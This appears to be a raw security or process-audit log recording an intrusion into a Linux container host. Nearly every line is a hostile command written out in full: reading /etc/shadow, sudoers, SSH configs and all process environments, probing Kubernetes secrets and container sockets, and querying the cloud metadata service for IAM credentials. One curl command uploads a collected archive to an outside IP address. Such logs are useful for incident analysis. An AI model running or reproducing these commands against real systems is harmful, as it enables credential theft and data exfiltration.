2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shid
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /etc/passwd
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /etc/group
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shps auxww
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shawk function nib(c){return index("0123456789ABCDEF", toupper(c))-1} function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v} function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))} function st(c){if(c=="
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shw
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /root/.ssh /home/*/.ssh
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /root /home
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /root/.ssh/config /home/*/.ssh/config
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shwho
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /root
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -lat /tmp
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /etc/gshadow
2026-10-29 20:04:57185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /etc/sudoers.d
2026-10-29 20:05:02185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /etc/default /etc/sysconfig
2026-10-29 20:05:02185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /etc/profile.d
2026-10-29 20:05:02185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/<REDACTED>-443
2026-10-29 20:05:06185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /.dockerenv /run/.containerenv
2026-10-29 20:05:06185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgro
2026-10-29 20:05:06185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m
2026-10-29 20:05:06185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 ec
2026-10-29 20:05:06185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm"
2026-10-29 20:05:11185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id
2026-10-29 20:05:11185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/
2026-10-29 20:05:11185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /proc/1/root
2026-10-29 20:05:11185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
2026-10-29 20:05:11185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "--
2026-10-29 20:05:11185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /var/run/secrets/kubernetes.io/serviceaccount/
2026-10-29 20:05:11185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock
2026-10-29 20:05:11185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shls -la /run/secrets /var/run/secrets
2026-10-29 20:05:11185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -lat /tmp/<REDACTED>-443
2026-10-29 20:05:18185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone
2026-10-29 20:05:18185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type
2026-10-29 20:05:23185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname
2026-10-29 20:05:23185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashcurl -s -w UP=%{http_code}\n -X POST --data-binary @/tmp/partial.tgz http://206.245.153.56:8088/1104/collect-partial.tgz
2026-10-29 20:05:23185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4
2026-10-29 20:05:23185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4
2026-10-29 20:05:30185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname
2026-10-29 20:05:30185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups
2026-10-29 20:05:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/
2026-10-29 20:05:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token
2026-10-29 20:05:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info
2026-10-29 20:05:42185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data
2026-10-29 20:05:42185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/service-documents
2026-10-29 20:05:42185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/deep-loot.sh
2026-10-29 20:05:42185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json
